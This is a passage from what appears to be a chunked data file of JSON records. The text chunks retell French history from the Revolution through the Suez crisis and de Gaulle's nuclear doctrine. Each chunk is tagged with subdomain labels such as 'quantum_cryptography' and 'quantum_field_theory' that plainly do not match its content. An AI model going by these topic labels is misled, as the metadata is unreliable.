meet wherever circumstances demand, until the constitution of the kingdom is established and affirmed on solid foundations \". they were joined by some members of the second and first estates. after the king fired his finance minister, jacques necker, for giving his support and guidance to the third estate, worries surfaced that the legitimacy of the newly - formed national assembly might be threatened by royalists. paris was soon consumed with riots, anarchy, and widespread looting. the mobs soon had the support of the french guard, including arms and trained soldiers, because the royal leadership essentially abandoned the city. on 14 july 1789 the insurgents set their eyes on the large weapons and ammunition cache inside the bastille fortress, which also served as a symbol of royal tyranny. insurgents seized the bastille prison, killing the governor and several of his guards. the french now celebrate july 14th each year as a symbol of the shift away from the ancien regime to a more modern democratic state. gilbert du motier, hero of american independence, took command of the national guard, and the king was forced to recognize the tricolour cockade. although peace was found, several nobles did not regard the new order as acceptable and migrated to push neighbouring kingdoms to war against the new rule. because of this new period of instability, the state was struck for several weeks in july and august of 1789 by the great fear, a period of violent class conflict. the declaration of the rights of man and citizen was adopted by the national assembly in august 1789 as a first step in their effort to write a constitution. considered to be a precursor to modern international rights instruments and using the u. s. declaration of independence as a model, it defined a set of individual rights and collective rights of all of the estates as one. influenced by the doctrine of natural rights, these rights were deemed universal and valid in all times and places, pertaining to human nature itself. the assembly also replaced france ' s historic provinces with eighty - three departements, uniformly administered and approximately equal to one another in extent and population. on 4 august 1789 the assembly abolished feudalism, in what is known as the august decrees, sweeping away both the seigneurial rights of the second estate and the tithes gathered by the first estate", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4593232613798048, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 17, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.126432"} {"text": "equal to one another in extent and population. on 4 august 1789 the assembly abolished feudalism, in what is known as the august decrees, sweeping away both the seigneurial rights of the second estate and the tithes gathered by the first estate. in the course of a few hours, nobles, clergy, towns, provinces, companies, and cities lost their special privileges. the assembly abolished the symbolic paraphernalia of the ancien regime, armorial bearings, liveries, etc., which alienated the more conservative nobles. amidst these intrigues, the assembly continued to work on developing a constitution. a new judicial organization made all magistracies temporary and independent of the throne. the legislators abolished hereditary offices, except for the monarchy itself. jury trials started for criminal cases. the king would have the unique power to propose war, with the legislature then deciding whether to declare war. the assembly abolished all internal trade barriers and suppressed guilds, masterships, and workers ' organizations : any individual gained the right to practice a trade through the purchase of a license ; strikes became illegal. the revolution brought about a massive shifting of powers from the roman catholic church to the state. under the ancien regime, the church had been the largest landowner in the country. legislation enacted in 1790 abolished the church ' s authority to levy a tax on crops, cancelled special privileges for the clergy, and confiscated church property. the assembly essentially addressed the financial crisis in part by having the nation take over the property of the church. the republican government also enforced the systeme international d ' unites, commissioned by louis xvi, which became known as the metric system. charles - augustin de coulomb and andre - marie ampere ' s works on electricity and electromagnetism were also recognised, and their units are integrated into the metric system. when a mob from paris attacked the royal palace at versailles in october 1789 seeking address of severe poverty conditions, the royal family was forced to move to the tuileries palace in paris. later in june 1791 the royal family secretly fled paris in disguise for varennes near france ' s northeastern border to seek royalist support the king sensed he could trust, but they were soon discovered en route. they were brought back to paris, after which they were essentially kept under house - arrest at the tuileries. factions within the assembly began to clarify. the opposition to revolution sat on the right - hand side of the assembly. the \" royalist democrats \" or monarchiens inclined toward organizing france along lines similar", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4979061194491162, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 18, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.127492"} {"text": "essentially kept under house - arrest at the tuileries. factions within the assembly began to clarify. the opposition to revolution sat on the right - hand side of the assembly. the \" royalist democrats \" or monarchiens inclined toward organizing france along lines similar to the british constitutional model. the \" national party \", representing the centre or centre - left of the assembly represented somewhat more extreme views. the increasingly middle - class national guard under lafayette also slowly emerged as a power in its own right. with most of the assembly still favoring a constitutional monarchy rather than a republic, the various groupings reached a compromise that left louis xvi little more than a figurehead. he had perforce to swear an oath to the constitution, and a decree declared that retracting the oath, heading an army for the purpose of making war upon the nation, or permitting anyone to do so in his name would amount to de facto abdication. under the constitution of 1791, france would function as a constitutional monarchy. the king had to share power with the elected legislative assembly, but he still retained his royal veto and the ability to select ministers. the legislative assembly first met on 1 october 1791, and degenerated into chaos less than a year later. the legislative assembly consisted of about 165 feuillants ( constitutional monarchists ) on the right, about 330 girondists ( liberal republicans ) and jacobins ( radical revolutionaries ) on the left, and about 250 deputies unaffiliated with either faction. early on, the king vetoed legislation that threatened the emigres with death and that decreed that every non - juring clergyman must take within eight days the civic oath mandated by the civil constitution of the clergy. over the course of a year, disagreements like this would lead to a constitutional crisis, leading the revolution to higher levels. on the foreign affairs front, in the declaration of pillnitz of august 1791 emperor leopold ii, count charles of artois and king william ii of prussia made louis xvi ' s cause theirs. these noblemen also required the assembly to be dissolved through threats of war, but, instead of cowing the french, it infuriated them. the borderlines were militarised as a consequence. under the constitution of 1791 the solution of a constitutional monarchy was adopted, and the king supported a war against austria to increase his popularity, starting the long french revolutionary wars. on the night of the 10th of august the jacobins, who had mainly opposed the war, suspended the monarchy. with the prussian army entering france, more doubts", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4657550195913514, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 19, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.130405"} {"text": "king supported a war against austria to increase his popularity, starting the long french revolutionary wars. on the night of the 10th of august the jacobins, who had mainly opposed the war, suspended the monarchy. with the prussian army entering france, more doubts were raised against the aristocracy, and these tensions climaxed during the september massacres. after the first great victory of the french revolutionary troops at the battle of valmy on 1792 20 september, the french first republic was proclaimed the day after on 1792 21 september. the french republican calendar was enforced. when the brunswick manifesto of july 1792 threatened once more the french population from austrian ( imperial ) and prussian attacks, louis xvi was suspected of treason and taken along with his family from the tuileries palace in august 1792 by insurgents supported by a new revolutionary paris commune. the king and queen ended up prisoners, and a rump session of the legislative assembly suspended the monarchy. little more than a third of the deputies were present, almost all of them jacobins. the king was later tried and convicted and on 21 january 1793 was guillotined. marie antoinette, would follow him to the guillotine on 16 october. what remained of a national government depended on the support of the insurrectionary commune. when the commune sent gangs into prisons to try arbitrarily and butcher 1400 victims, and addressed a circular letter to the other cities of france inviting them to follow this example, the assembly could offer only feeble resistance. this situation persisted until a national convention, charged with writing a new constitution, met on 20 september 1792 and became the new de facto government of france. the next day it abolished the monarchy and declared a republic. when war went badly, prices rose and the sans - culottes ( poor labourers and radical jacobins ) rioted ; counter - revolutionary activities began in some regions. this encouraged the jacobins to seize power through a parliamentary coup, backed up by force effected by mobilising public support against the girondist faction, and by utilising the mob power of the parisian sans - culottes. an alliance of jacobin and sans - culottes elements thus became the effective centre of the new government. policy became considerably more radical. in september of 1793 a period known as the reign of terror ensued for approximately 12 months. the committee of public safety, set up by the national convention on april 6, 1793, formed the de facto executive government of france. under war conditions and with national survival seemingly at stake, the jacobins under maximilien robes", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4277934530033173, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 20, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.131754"} {"text": "approximately 12 months. the committee of public safety, set up by the national convention on april 6, 1793, formed the de facto executive government of france. under war conditions and with national survival seemingly at stake, the jacobins under maximilien robespierre centralized denunciations, trials, and executions under the supervision of this committee of twelve members. at least 18, 000 people met their deaths under the guillotine or otherwise, after accusations of counter - revolutionary activities. in 1794 robespierre had ultra - radicals and moderate jacobins executed ; in consequence, however, his own popular support eroded markedly. on 27 july 1794, the thermidorian reaction led to the arrest and execution of robespierre. the new government was predominantly made up of girondists who had survived the terror, and after taking power, they took revenge as well by banning the jacobin club and executing many of its former members in what was known as the white terror. after the stated aim of the national convention to export revolution, the guillotining of louis xvi of france, and the french opening of the scheldt, a military coalition was formed and set up against france. spain, naples, great britain and the netherlands joined austria and prussia in the the first coalition ( 1792 \u2013 1797 ), the first major concerted effort of multiple european powers to contain revolutionary france. it took shape after the wars had already begun. the republican government in paris was radicalised after a diplomatic coup from the jacobins and said it would be the guerre totale and called for a levee en masse. royalist invading forces were defeated at toulon in 1793, leaving the french republican forces in an offensive position and granting a young officer, napoleon bonaparte, a certain fame. following their victory at fleurus, the republicans occupied belgium and the rhineland. an invasion of the netherlands established the puppet batavian republic. finally a peace agreement was found between france, spain and prussia in 1795 at basel. the convention approved a new \" constitution of the year iii \" on 17 august 1795 ; a plebiscite ratified it in september ; and it took effect on 26 september 1795. the new constitution created the directory and created the first bicameral legislature in french history. the parliament consisted of 500 representatives \u2014 le conseil des cinq - cents ( the council of the five hundred ) \u2014 and 250 senators \u2014 le conseil des anciens ( the council of elders ). executive power went to five \" directors, \" named annually by the con", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4329244296619409, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 21, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.132874"} {"text": ". these men were supposed to be given honourable terms by the british forces, yet admiral keith decided to attack them anyway with a mameluk force, although this force was defeated at heliopolis in march 1800. disease had hit the french troops to such a point they were forced to surrender. the rosetta stone was discovered during this campaign and champollion translated it. when napoleon came back to france, the directoire was threatened by the second coalition. royalists and their allies still dreamed of restoring the monarchy to power, while the prussian and austrian crowns did not accept their territorial losses during the previous war. the russian army expelled the french from italy in battles such as cassano while the austrian army defeated the french in switzerland at stockach and zurich. napoleon then seized power through a coup and established the consulate in 1799. the austrian army was defeated at marengo in 1800 and again at hohenlinden. while at sea admiral louis - rene levassor de latouche treville had some success at boulogne against a british fleet. the british admiral nelson would destroy an anchored danish and norwegian fleet at copenhagen because the scandinanian kingdoms were against the british blockade on france. the second coalition was beaten and peace was settled in two distinct treaties : the treaty of luneville and the treaty of amiens. in 1803 napoleon sold french louisiana to the american government, a territory he considered indefensible. on 21 march 1804 the napoleonic code was applied over all the territory under french control, and on may 18 napoleon was titled emperor by the senate, thus founding the french empire. technically napoleon ' s rule was constitutional, and although autocratic, it was much more advanced than other european monarchies of the time. the proclamation of the french empire was met by the third coalition. the french army was renamed the grande armee in 1805 and napoleon used propaganda and nationalism to control the french population. the french army achieved a resounding victory at ulm, where an entire austrian army was captured. a franco - spanish fleet was defeated at trafalgar and all plans to invade britain were then made impossible. despite this naval defeat, it was on the ground that this war would be won, napoleon inflicted the austrian and russian empires one of their greatest defeats at austerlitz, destroying the third coalition. the peace was settled in the treaty of pressburg, the austrian empire lost the title of holy roman emperor and the confederation of the rhine was created by napoleon over former austrian territories. the destruction of the holy roman empire and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44014455845907907, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 23, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.135108"} {"text": ", destroying the third coalition. the peace was settled in the treaty of pressburg, the austrian empire lost the title of holy roman emperor and the confederation of the rhine was created by napoleon over former austrian territories. the destruction of the holy roman empire and the dramatic austrian defeat caused prussia to join britain and russia, thus forming the fourth coalition. although the coalition was joined by other allies, the french empire was also not alone since it now had a complex network of allies and submitted states. largely outnumbered, the prussian army was crushed at jena - auerstedt in 1806, napoleon captured berlin and went as far as eastern prussia. there the russian empire was defeated at the battle of friedland. peace was dictated in the treaties of tilsit, in which russia had to join the continental system and prussia handed down half of its territories to france. the duchy of warsaw was formed over these territorial losses, and the polish troops entered the grande armee in significant numbers. freed from his obligation in the east, napoleon then went back to the west, as the french empire was still at war with britain. only two countries remained neutral in the war : sweden and portugal, and napoleon then looked toward the latter. in the treaty of fontainebleau, a franco - spanish alliance against portugal was sealed as spain eyed portuguese territories. french armies entered spain in order to attack portugal, but then seized spanish fortresses and took over the kingdom by surprise. joseph bonaparte, napoleon ' s brother, was made king of spain after charles iv ' s abdication. this occupation of the iberian peninsula fueled local nationalism, and soon the spanish and portuguese would fight the french using guerilla tactics, defeating the french forces at the battle of bailen. britain sent a short - lived ground support force to portugal, and french forces evacuated portugal as defined in the convention of sintra following the allied victory at vimeiro. france was only controlling catalonia and navarre and could have been definitely expelled from the iberian peninsula had the spanish armies attacked again, but the spanish did not. another french attack was launched on spain, led by napoleon himself, and was described as \" an avalanche of fire and steel. \" however, the french empire was no longer regarded as invincible by european powers. in 1808 austria formed the war of the fifth coalition in order to break down the french empire. the austrian empire defeated the french at aspern - essling, yet was beaten at wagram while the polish allies defeated the austrian empire at raszyn. although not as decisive as the previous austrian defeats,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4256684971537677, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 24, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.136242"} {"text": "order to break down the french empire. the austrian empire defeated the french at aspern - essling, yet was beaten at wagram while the polish allies defeated the austrian empire at raszyn. although not as decisive as the previous austrian defeats, the peace treaty caused austria to lose a large amount of territories, reducing it even more. in 1812 war broke out with russia, engaging napoleon in the disastrous patriotic war. napoleon assembled the largest army europe had ever seen, including troops from all submitted states, to invade russia, which had just left the continental system and was gathering an army on the polish frontier. following an exhausting march and the bloody but inconclusive battle of borodino, near moscow, the grande armee entered and captured moscow, just to find it burning, as part of the russian scorched earth tactics. although there still were battles such as maloyaroslavets the napoleonic army left russia decimated most of all by the russian winter, exhaustion and scorched earth warfare. on the spanish front the french troops were defeated at vitoria and then at the battle of the pyrenees. since the spanish guerrillas seemed to be uncontrollable, the french troops eventually evacuated spain. france having been defeated on these two fronts, the states controlled and previously conquered by napoleon saw a good opportunity to strike back. the sixth coalition was formed and the german states of the confederation of the rhine switched sides, finally opposing napoleon. napoleon was largely defeated in the battle of the nations and was overwhelmed by much larger armies during the six days campaign, although, because of the much larger amount of casualties suffered by the allies, the six days campaign is often considered a tactical masterpiece. napoleon abdicated on 6 april 1814, and was exiled to elba. the conservative congress of vienna reversed the political changes that had occurred during the wars. napoleon ' s attempted restoration, a period known as the hundred days, ended with his final defeat at waterloo in 1815. the monarchy was subsequently restored and louis xviii became king. this period of time is called the bourbon restoration and was marked by conflicts between reactionary ultra - royalists and more liberal movements. on 12 june 1830 polignac, king charles x ' s minister, exploited the weakness of the algerian dey by invading algeria and establishing french rule in algeria. the news of the fall of algiers had barely reached paris when charles x was deposed and replaced by king louis - philippe during the july revolution. louis - philippe ' s \" july monarchy \" ( 1830 \u2013 1848 ) is generally seen", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.42229202171904956, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 25, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.137260"} {"text": "french rule in algeria. the news of the fall of algiers had barely reached paris when charles x was deposed and replaced by king louis - philippe during the july revolution. louis - philippe ' s \" july monarchy \" ( 1830 \u2013 1848 ) is generally seen as a period during which the haute bourgeoisie was dominant. anarchism, as formulated by pierre - joseph proudhon, began to take root in france. to honour the victims of the july revolution, hector berlioz composed a requiem ; he also worked on what would become the french national anthem, la marseillaise. in 1838 the french government declared war on mexico after a french pastry cook in mexico accused mexican officers of looting his shop. the mexican government was defeated in the short pastry war. finally, the last king of france abdicated, and the french second republic was proclaimed. louis napoleon bonaparte was elected president and proclaimed himself president for life following a coup that was confirmed and accepted in a dubious referendum. napoleon iii of france took the imperial title in 1852 and held it until his downfall in 1870. the era saw great industrialization, urbanization ( including the massive rebuilding of paris by baron haussmann ) and economic growth, but napoleon iii ' s foreign policies were not so successful. in 1854, the second empire joined the crimean war, which saw france and britain opposed to the russian empire, who were decisively defeated at sevastopol in 1855 and at inkerman. in 1856 france joined the second opium war on the british side against china ; a missionary ' s murder was used as a pretext to take interests in southwest asia in the treaty of tientsin. in 1859 the second italian war of independence broke out between italian states and austria. the second french empire joined the war on the italian side, which was concluded by an austrian defeat at solferino. in return for this intervention, the french government acquired the city of nice, while in march 1860 savoy was annexed by similar means. in 1861 napoleon iii largely supported maximilian in his claim to mexico, a move that was also supported by britain and spain but condemned by the u. s. this led to the french intervention in mexico, which turned out to be a failure. when france was negotiating with the netherlands about purchasing luxembourg, the prussian kingdom threatened the french government with war. this came as a shock to french diplomats as there previously was an agreement between the prussian and french governments about luxembourg. napoleon iii suffered stronger and stronger criticism from republicans like jules favre, and his position seemed more fragile with the passage", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.38973100808370587, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 26, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.138352"} {"text": "government with war. this came as a shock to french diplomats as there previously was an agreement between the prussian and french governments about luxembourg. napoleon iii suffered stronger and stronger criticism from republicans like jules favre, and his position seemed more fragile with the passage of time. france was looking for more interests in asia and interfered in korea in 1866 taking, once again, missionaries ' murders as a pretext. the french finally withdrew from the war with little gain but war ' s booty. the next year a french expedition to japan was formed to help the tokugawa shogunate to modernise its army. however, tokugawa was defeated during the boshin war at the battle of toba - fushimi by large imperial armies. rising tensions about a possible prussian succession in spain raised the scale of animosity between the two states, and finally the franco - prussian war ( 1870 \u2013 1871 ) broke out. german nationalism united the german states, with the exception of austria, against napoleon iii. the french empire was defeated decisively at metz and sedan. the last straw was the siege of paris. the newly - formed german empire subsequently annexed alsace - lorraine in the treaty of frankfurt. besides this defeat, the republican movement also had to confront counterrevolutionaries who rejected the legacy of the 1789 revolution. both the legitimist and the orleanist royalists rejected republicanism, which they saw as an extension of modernity and atheism, breaking with france ' s traditions. this lasted until at least the 16 may 1877 crisis, which finally led to the resignation of royalist marshal macmahon in january 1879. the death of henri, comte de chambord in 1883, who, as the grandson of charles x, had refused to abandon the fleur - de - lys and the white flag, thus jeopardizing the alliance between legitimists and orleanists, convinced many of the remaining orleanists to rally themselves to the republic, as adolphe thiers had already done. the vast majority of the legitimists abandoned the political arena or became marginalised. some of them founded action francaise in 1898, during the dreyfus affair, which became an influent movement throughout the 1930s, in particular among the intellectuals of paris ' quartier latin. in 1891, pope leo xiii ' s encyclic rerum novarum brought legitimacy to the social catholic movement, which in france could be traced back to hughes felicite robert de lamennais ' efforts under the july monarchy", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4478120487275363, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 27, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.139403"} {"text": "iwakura tomomi asked for french assistance in reforming japan. french military missions were sent to japan in 1872 \u2013 1880, in 1884 \u2013 1889 and the last one much later in 1918 \u2013 1919 to help modernize the japanese army. distrust of germany, faith in the army and native french anti - semitism combined to make the dreyfus affair ( the unjust trial and condemnation of a jewish military officer for treason ) a political scandal of the utmost gravity. the nation was divided between \" dreyfusards \" and \" anti - dreyfusards, \" and far - right catholic agitators inflamed the situation even when proofs of dreyfus ' innocence came to light. the writer emile zola published an impassioned editorial on the injustice, and was himself condemned by the government for libel. once dreyfus was finally pardoned, the progressive legislature enacted the 1905 laws on laicite, which created a complete separation of church and state and stripped churches of most of their property rights. the period at the end of the 19th and the beginning of the 20th century is often termed the belle epoque. although associated with cultural innovations and popular amusements ( cabaret, can - can, the cinema, new art forms such as impressionism and art nouveau ), france was nevertheless a nation divided internally on notions of religion, class, regionalisms and money, and on the international front france came repeatedly to the brink of war with the other imperial powers, including great britain ( the fashoda incident ). world war i was inevitable, but its human and financial costs would be catastrophic for the french. in 1889 the exposition universelle took place in paris, and the eiffel tower was built as a temporary gate to the fair. meant to last only a few decades, the tower was never removed and became france ' s most iconic landmark. the war on the western front was fought largely in france and characterized by extremely violent battles, often with new and more destructive military technology. famous battles in france include first battle of the marne, battle of verdun, battle of the somme and the second battle of the marne. germany ' s plan ( see schlieffen plan ) was to defeat the french quickly and then shift from defense to offense against russia on the eastern front. the germans captured brussels by august 20th and soon had taken over a large portion of northern france. the original plan was to continue southwest and attack paris from the west. by early september they were within 40 miles of paris, and the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4649555483753619, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 29, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.142814"} {"text": "the eastern front. the germans captured brussels by august 20th and soon had taken over a large portion of northern france. the original plan was to continue southwest and attack paris from the west. by early september they were within 40 miles of paris, and the french government had relocated to bordeaux. the allies finally stopped the advance northeast of paris at the marne river. this was the farthest push west by the germans during the entire war. on the western front the small improvised trenches of the first few months rapidly grew deeper and more complex, gradually becoming vast areas of interlocking defensive works. the land war quickly became dominated by the muddy, bloody stalemate of trench warfare, a form of war in which both opposing armies had static lines of defense. the war of movement quickly turned into a war of position. attack followed counterattack after counterattack. neither side advanced much, but both sides suffered hundreds of thousands of casualties. german and allied armies produced essentially a matched pair of trench lines from the swiss border in the south to the north sea coast of belgium. trench warfare prevailed on the western front from september 1914 until the germans launched their \" spring offensive \", operation michael, in march 1918. the space between the opposing trenches was referred to as \" no man ' s land \" ( for its lethal uncrossability ) and varied in width depending on the battlefield. on the western front it was typically between 100 and 300 yards ( 90 \u2013 275 m ), though sometimes much less. the common infantry soldier had four weapons to use in the trenches : the rifle, bayonet, shotgun, and hand grenade. britain introduced the first tanks to the war, while renault enhanced the concept by adding a turret. the use in large quantity of these light tanks by jean - baptiste estienne can be considered a decisive evolution in world war i ' s strategies. when russia exited the war in 1917 due to revolution, the central powers controlled all of the balkans and could now shift military efforts to the western front. the u. s. had entered the war also in 1917, so the central powers hoped this could be achieved mostly prior to america ' s delivery of military support. in march 1918 germany launched the last major offensive on the western front. by may germany had reached the marne again, as in september 1914, and was again close to paris. in second battle of the marne, however, the allies were able to defend and then shift to offense due in part to the fatigue of the germans and the arrival of more americans. the germans were ultimately pushed back toward the german", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45631679687401694, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 30, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.143927"} {"text": "again close to paris. in second battle of the marne, however, the allies were able to defend and then shift to offense due in part to the fatigue of the germans and the arrival of more americans. the germans were ultimately pushed back toward the german border. other central power strongholds in europe had fallen, and in early october, when a new government assumed power in germany, it asked for an armistice. peace terms were agreed upon in the treaty of versailles on november 11th, largely negotiated by georges clemenceau for french matters. germany was required to take full responsibility for the war and to pay war reparations ; and the german industrial saarland, a coal and steel region, was occupied by france. the german african colonies were partitioned between france and britain such as cameroons. alsace - lorraine was returned to france, and the german empire lost eastern territories such as the danzig corridor. ferdinand foch wanted a peace that would never allow germany to be a threat to france again. after the peace was signed he said, this is not a peace. it is an armistice for 20 years. the war brought great losses of troops and resources. fought in large part on french soil, the war led to approximately 1. 4 million french dead including civilians ( see world war i casualties ), and four times as many casualties. from the remains of the ottoman empire, france acquired the mandate of syria and the mandate of lebanon. the invasion of poland finally caused france and britain to declare war against germany. but the allies did not launch massive assaults and kept a defensive stance : this was called the phoney war in britain or drole de guerre \u2014 the funny sort of war \u2014 in france. it did not prevent the german army from conquering poland in a matter of weeks with its innovative blitzkrieg tactics. when germany had its hands free for an attack in the west, the battle of france began in may 1940, and the same tactics proved just as devastating there. the wehrmacht bypassed the maginot line by marching through the ardennes forest. a second german force was sent into belgium and the netherlands to act as a diversion to this main thrust. in six weeks of savage fighting the french lost 90, 000 men. many civilians sought refuge by taking to the roads of france : some two million refugees from belgium and holland were joined by between eight and ten million french civilians, representing a quarter of the french population, all heading south and west. this movement may well have been the largest single movement of civilians in history prior to 1947.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.39477461808878445, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 31, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.146106"} {"text": "two million refugees from belgium and holland were joined by between eight and ten million french civilians, representing a quarter of the french population, all heading south and west. this movement may well have been the largest single movement of civilians in history prior to 1947. french leaders surrendered to nazi germany on 24 june 1940, after the british expeditionary force was evacuated from dunkirk. nazi germany occupied three fifths of france ' s territory, leaving the rest in the south east to the new vichy government. this regime sought to collaborate with germany. it was established on 10 july 1940. the vichy regime was led by philippe petain, the aging war hero of first world war. it was originally intended to be a temporary, care - taker regime, to supervise french administration before the soon - expected defeat of britain. instead, it lasted four years and imposed a tyrannical regime on the french people. it was unique among the various collaborating regimes of wartime europe in that it was established constitutionally, through the french parliament, and not imposed by the nazis. however, charles de gaulle declared himself by radio from london the head of a rival government in exile, gathering the free french forces around him, finding support in some french colonies and recognition from britain and the usa. the vichy regime adopted violent, repressive anti - semitic policies on its own initiative, without direction from nazi germany, as has been highlighted by the historian robert paxton. during the german occupation 76, 000 jews would be deported, often with the help of the vichy french authorities, and murdered in the nazis ' extermination camps. after the attack on mers - el - kebir in 1940, where the british fleet destroyed a large part of the french navy, still under command of vichy france, that killed about 1, 100 sailors, there was nationwide indignation and a feeling of distrust in the french forces, leading to the events of the battle of dakar. eventually, several important french ships such as the richelieu and the surcouf joined the free french forces. on the eastern front the ussr was lacking pilots and several french pilots joined the soviet union and fought the luftwaffe in the normandie - niemen squadron. within france proper, very few people organised themselves against the german occupation in the summer of 1940. however, their numbers grew as vichy ' s true nature became more apparent and the decline of nazi germany more obvious. isolated opposers eventually formed a real movement : the resistants. the most famous figure of the french resistance was jean moulin. he was tortured", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42021275602896235, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 32, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.149385"} {"text": "their numbers grew as vichy ' s true nature became more apparent and the decline of nazi germany more obvious. isolated opposers eventually formed a real movement : the resistants. the most famous figure of the french resistance was jean moulin. he was tortured by klaus barbie ( the butcher of lyon ). increasing repression culminated in the complete destruction and extermination of the village of oradour - sur - glane, at the height of the battle of normandy. there were also frenchmen that joined the ss, they were known as the charlemagne division ; knowing they would not survive should germany be defeated, they were among the last ones to surrender at berlin. whilst recognising this extensive collaboration, the british historian simon kitson has shown that the vichy regime engaged in an extensive programme of arresting german intelligence agents in the unoccupied zone. around 2000 were arrested and some were subsequently executed. vichy ' s purpose in this respect was to preserve its sovereignty and to centralise collaboration. in november 1942 vichy france was finally occupied by german forces, because the war in north africa was coming to an end ; the germans foresaw a threat in southern europe by the allied forces. on 6 june 1944 the allied landed on normandy while on 15 august they landed on provence ( including the 260, 000 men of the french army b ). general leclerc freed paris and strasbourg and later, along with the battleship richelieu, represented france at tokyo during the japanese surrender. the vichy regime fled to germany. the 1sr french army recruited ffi fighters to continue the war until the final defeat of germany. this army numbered 300, 000 men by september 1944 and 370, 000 by spring in 1945 ( the 2nd db wasn ' t in it ). france was liberated by allied forces in 1944. after the war ended, the west german government had to pay reparations ( large sums of money ) to france as compensation for invading and occupying france and to any civilians killed, being starved, sent into forced labour, or left homeless by the war. the day germany surrendered french forces were involved in the setif massacre in algeria. israel was established in 1948, and france was one of the fiercest supporters of the jewish state, supplying it with extensive weaponry it used during 1948 arab - israeli war. the french republic needed an alliance with israel to secure the suez canal from potential threats in a context of decolonisation. in indochina the french government was facing the viet minh communist rebels and lost its indochinese colonies during the first indochina war", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4414686552208095, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 33, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.150516"} {"text": "war. the french republic needed an alliance with israel to secure the suez canal from potential threats in a context of decolonisation. in indochina the french government was facing the viet minh communist rebels and lost its indochinese colonies during the first indochina war in 1954 after the battle of dien bien phu. vietnam was divided in two states while cambodia and laos were made independent. france left indochina only to be replaced there by the united states, which would soon be engaged in the long vietnam war. in 1956 another crisis struck french colonies, this time in egypt. the suez canal had been built by the french government, belonged at 56 % to the french republic and was operated by the compagnie universelle du canal maritime de suez. great britain had bought the egyptian share from isma ' il pasha and was the second largest owner of the canal before the crisis. the egyptian president gamal abdel nasser nationalised the canal despite french and british opposition ; he estimated a european answer was most unlikely to happen. great britain and france attacked egypt and built an alliance with israel against nasser. israel attacked from the east, britain from cyprus and france from algeria. egypt, the most powerful arab state of the time, was defeated in a mere few days. this caused an outcry of indignation in the entire arab world and saudi arabia set an embargo on oil on france and britain. the us president dwight d. eisenhower forced a ceasefire when he threatened to sell all american shares of british pounds and to crash the british economy. the british forces were retired from the conflict and israel, having seized interests in the sinai region, withdrew soon leaving france alone in egypt. under stronger political pressures the french government ultimately evacuated its troops from suez. this was a major political defeat for france and the american threats during the war were received with indignation by the french popular opinion. this led directly, and was used as a point, to the french withdrawal from the integrated military command of nato in 1966. another consequence of this was the french loss of geopolitical interests in the region ; this meant an alliance with israel was no longer of any use for french diplomacy. general de gaulle was elected president in 1958 and made the french force de frappe, the nuclear power, a priority of the french defence. france then adopted the dissuasion du faible au fort doctrine which meant a soviet attack on france would only bring total destruction to both sides. within ten years, we shall have the means to kill 80 million russians. i truly believe", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4634307428081152, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 34, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.151621"} {"text": "defence. france then adopted the dissuasion du faible au fort doctrine which meant a soviet attack on france would only bring total destruction to both sides. within ten years, we shall have the means to kill 80 million russians. i truly believe that one does not light - heartedly attack people who are able to kill 80 million russians, even if one can kill 800 million french, that is if there were 800 million french. the may 1958 seizure of power in algiers by french army units and french settlers opposed to concessions in the face of arab nationalist insurrection led to the fall of the french government and a 